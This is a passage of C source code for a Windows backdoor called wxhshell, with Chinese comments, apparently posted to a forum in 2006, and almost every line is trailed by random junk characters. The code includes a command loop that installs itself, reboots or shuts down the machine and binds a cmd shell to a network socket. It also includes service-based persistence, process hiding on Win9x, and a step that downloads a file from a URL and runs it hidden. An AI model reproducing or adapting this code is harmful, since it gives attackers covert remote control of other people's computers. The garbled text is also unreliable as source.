      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?b,>+v-w::  
    break; &2y4k"B&)  
  } }yEV&& @  
  // 安装 w'2FYe{wj  
  case 'i': { J+`aj8_B  
    if(Install()) y|}~"^+T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YpDJ(61+  
    else }_]AQN$'G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p H  y  
    break; sQa;l]O:NC  
    } ^m w]u"5\  
  // 卸载 [i`  
  case 'r': { {R!yw`#^B  
    if(Uninstall()) .J)TIc__|A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \b"rf697 ,  
    else m}uOBR+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b&U1^{(  
    break; B`B =bn+4  
    } XMuZ}u[U  
  // 显示 wxhshell 所在路径 hy*{ {f;  
  case 'p': { *8Z2zmZtR^  
    char svExeFile[MAX_PATH]; eWcqf/4?"  
    strcpy(svExeFile,"\n\r"); [CI&4) #  
      strcat(svExeFile,ExeFile); w(Z?j%b  
        send(wsh,svExeFile,strlen(svExeFile),0); 32[}@f2q  
    break; ]nhh|q9r{  
    } NUFz'MPv  
  // 重启 5l6/5  
  case 'b': { qNQ54#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ST*h{:u&A  
    if(Boot(REBOOT)) );gY8UL^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }csA|cC  
    else { S/'0czDMW  
    closesocket(wsh); a;HAuy`M x  
    ExitThread(0); E 5&Z={  
    } 7Jf~Bn  
    break; j,M$l mR')  
    } *): |WDR  
  // 关机 |h]V9=  
  case 'd': { fjRVYOG#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!=@TK(~  
    if(Boot(SHUTDOWN)) :\OSHs<M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-JTGCFl  
    else { #d-({blo<  
    closesocket(wsh); 1>J.kQR^  
    ExitThread(0); RV~fml9c  
    } P}@AH02  
    break; ~Ru\Z-q1  
    } 7ftn gBv?  
  // 获取shell QH/py  
  case 's': { TpKAdrY  
    CmdShell(wsh); 3f7zW3F  
    closesocket(wsh); =?RI`}vw_H  
    ExitThread(0);  =_dM@j  
    break; ^[?y 2A:  
  } -tg|y  
  // 退出 p;+O/'/j  
  case 'x': { N[I@}j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kTb$lLG\xk  
    CloseIt(wsh); UBaXS_c\  
    break; cc[(w #K  
    } ]Y\$U<YjO  
  // 离开 .@VZ3"  
  case 'q': { pDR~SxBXr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O?e9wI=H  
    closesocket(wsh); UR sx>yx  
    WSACleanup(); *dBeb  
    exit(1); Y Zj-%5  
    break; L`+[mX&2B  
        } s6 yvq#:  
  } k~>(XG[x&  
  } C%o|}iv"  
WX&IQ@  
  // 提示信息  T~[:oil  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hFIh<m=C?Y  
} cbJgeif  
  } `|'w]rj:"+  
`n PdZ.  
  return; C`.YOkpj  
} nrl?<4 _  
,h*gd^i  
// shell模块句柄 N*Aw-\Bk  
int CmdShell(SOCKET sock) AFAg3/  
{ 4=yzf  
STARTUPINFO si; S#/BWNz|  
ZeroMemory(&si,sizeof(si)); 8}'iEj^e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ';I}6N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ea 3w  
PROCESS_INFORMATION ProcessInfo; 4Q|>k )H  
char cmdline[]="cmd"; <o(;~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t<!m4Yd|#  
  return 0; S2$E`' J  
} qezWfR`  
6Og@tho  
// 自身启动模式 (?qCtLZ  
int StartFromService(void) A0{xt*g   
{ t!?`2Z5  
typedef struct !l'nX  
{ |;gx;qp4cN  
  DWORD ExitStatus; 8~'cP?  
  DWORD PebBaseAddress;  Ng#psN  
  DWORD AffinityMask; B"43o7C  
  DWORD BasePriority; x"2p5T7*>  
  ULONG UniqueProcessId; _^<vp  
  ULONG InheritedFromUniqueProcessId; Cd%5XD^  
}   PROCESS_BASIC_INFORMATION; , 'pYR]3  
tiK M+ ;C  
PROCNTQSIP NtQueryInformationProcess; bQaRl=:[:  
6N@=*0kh-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *l_a=[<[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '}hSh  
\RDN_Z  
  HANDLE             hProcess; gfL :SP8  
  PROCESS_BASIC_INFORMATION pbi; ('z=/"(l  
7Jb&~{DVk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $[T ~<I  
  if(NULL == hInst ) return 0; uX7L1~s-  
FWW4n_74  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0)dpU1B#M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (TeH)j!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (PpY*jKR  
x?Sx cQP  
  if (!NtQueryInformationProcess) return 0; aCU[9Xr?  
+Y?Tri  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -h8mJ D%Oi  
  if(!hProcess) return 0;  ^*P?gG  
4phCn5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0AnL]`"t.3  
cj>@Jx}]M  
  CloseHandle(hProcess); sUF$eVAT  
2zj` H9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WA n@8!9  
if(hProcess==NULL) return 0; |r@;ulO  
O@$>'Z  
HMODULE hMod; "@x( 2(Y&  
char procName[255]; +wQ5m8E  
unsigned long cbNeeded; Ec7xwPk  
r9f- C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \9+,ynJH8z  
dX?j /M-  
  CloseHandle(hProcess); G]B0LUT6c  
>\JP X  
if(strstr(procName,"services")) return 1; // 以服务启动 29Uqdo  
h%j4(v}r{C  
  return 0; // 注册表启动 BFNO yv  
} B;bP~e>W  
'M%iS4b{IM  
// 主模块 }cz58%  
int StartWxhshell(LPSTR lpCmdLine) icG 9x  
{ P}6#s'07~  
  SOCKET wsl; Dk\%,[4(  
BOOL val=TRUE; )=)N9CRy  
  int port=0; &^ERaPynd  
  struct sockaddr_in door; B} qRz  
(CQ! &Z8  
  if(wscfg.ws_autoins) Install(); q~qz^E\T  
kV8R.Baf3  
port=atoi(lpCmdLine); 3n2^;b/]  
"|6(.S+o  
if(port<=0) port=wscfg.ws_port; S%RxYJ(  
b8a (.}8*  
  WSADATA data; 6Emn@Mn=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S(=@2A+;  
c:${qY:!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rT="ciQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,I iKe_B  
  door.sin_family = AF_INET; B~o3Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -IIrrY O  
  door.sin_port = htons(port); Qz`evvH  
q`AsnAzo&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -t_&H\_T  
closesocket(wsl); yc0 1\o  
return 1; d^'_H>x  
} -Ua5anzB  
 WDNj 7  
  if(listen(wsl,2) == INVALID_SOCKET) { f TmJDUv+  
closesocket(wsl); 3@F U-k,i  
return 1; Xp;'Wa"@  
} _~Lu%   
  Wxhshell(wsl); r[E#JHw  
  WSACleanup(); Va[&~lA)  
7gtaI3   
return 0; #W:.Fsq  
>u%Bn \G  
} @kd$.7Y9  
2Jo|P A` 9  
// 以NT服务方式启动 Xk:x=4u&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hj=n;,a9  
{ covCa)kf  
DWORD   status = 0; %4VM"C4[  
  DWORD   specificError = 0xfffffff; tli*3YIw  
HmXxM:[4;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OfLj 4H 6Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i?>>%juK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &*Z)[Bl  
  serviceStatus.dwWin32ExitCode     = 0;  uvDOTRf  
  serviceStatus.dwServiceSpecificExitCode = 0; *o=Z~U9z  
  serviceStatus.dwCheckPoint       = 0; BDp(&=ktq  
  serviceStatus.dwWaitHint       = 0; axG%@5  
NrcV%-+u%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lyowH{.N"3  
  if (hServiceStatusHandle==0) return; $1X !Ecq_  
}2=~7&)  
status = GetLastError(); c7rC!v  
  if (status!=NO_ERROR) +o.#']}Pl  
{ 0>,i] |Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j;Z hI y  
    serviceStatus.dwCheckPoint       = 0; n~,6!S  
    serviceStatus.dwWaitHint       = 0; h\C1:0x{  
    serviceStatus.dwWin32ExitCode     = status; jxK `ShW=  
    serviceStatus.dwServiceSpecificExitCode = specificError; HELTL$j,b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); be6`Sv"H  
    return; $7-4pW$y  
  } Ow0~sFz  
$jC+oYXj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D<Z\6)|%I  
  serviceStatus.dwCheckPoint       = 0; Lxa<zy~b  
  serviceStatus.dwWaitHint       = 0; 0l(G7Ju  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n`Ypv{+ {%  
} #;2kN &  
<Rt0 V%}-  
// 处理NT服务事件,比如:启动、停止 ziAn9/sT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P@etT8|V  
{ 2V @ pt  
switch(fdwControl)  @C'qbO{  
{ RZvRV?<bR  
case SERVICE_CONTROL_STOP: uL-$^],  
  serviceStatus.dwWin32ExitCode = 0; GyE5jh2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @M*5q# s  
  serviceStatus.dwCheckPoint   = 0; ,|O|gh$s  
  serviceStatus.dwWaitHint     = 0; Ob'[W;p)[w  
  { [c>YKN2qa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?.I1"C,#VJ  
  } ++kVq$9@y  
  return; gZ (\/m8Z  
case SERVICE_CONTROL_PAUSE: -OQ6;A"#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]xJ2;{JWsO  
  break; J@N q  
case SERVICE_CONTROL_CONTINUE: K>+c2;t;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; En+`ZcA\z  
  break; &>@EfW](  
case SERVICE_CONTROL_INTERROGATE: m]++ !  
  break; Xp^71A?>  
}; btf]~YN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@(V!G  
} #1>c)_H  
yV@~B;eW0  
// 标准应用程序主函数 xqVIw!J?/}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U,9=&"e b  
{ uoY]@.  
Nrp1`qY  
// 获取操作系统版本 P= 26! b  
OsIsNt=GetOsVer(); v~O2y>8Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oFJx8XU  
! "^//2N+,  
  // 从命令行安装 +_fxV|}P  
  if(strpbrk(lpCmdLine,"iI")) Install(); kEdAt5/U{  
62OZj%CXN  
  // 下载执行文件 &ZPyZj  
if(wscfg.ws_downexe) { 6$+F5T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5,V3_p:)VI  
  WinExec(wscfg.ws_filenam,SW_HIDE); z!9w Lo^r  
} $Jy1=/W&  
E7Pz~6  
if(!OsIsNt) { ]\%u9,b%!  
// 如果时win9x,隐藏进程并且设置为注册表启动 BG20R=p  
HideProc(); s4\_%je<v  
StartWxhshell(lpCmdLine); \N]2V(v  
} wtro'r3  
else 4q^'MZm1  
  if(StartFromService()) DmpD`^?-L  
  // 以服务方式启动 #F >R5 D  
  StartServiceCtrlDispatcher(DispatchTable); mvW,nM1Y  
else , rc %#eF  
  // 普通方式启动 NHz hGg]  
  StartWxhshell(lpCmdLine); IsiCHtY9  
X[iQ%Y$/n  
return 0; .{#J2}+[_}  
}
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只看该作者 1 发表于: 2006-10-10
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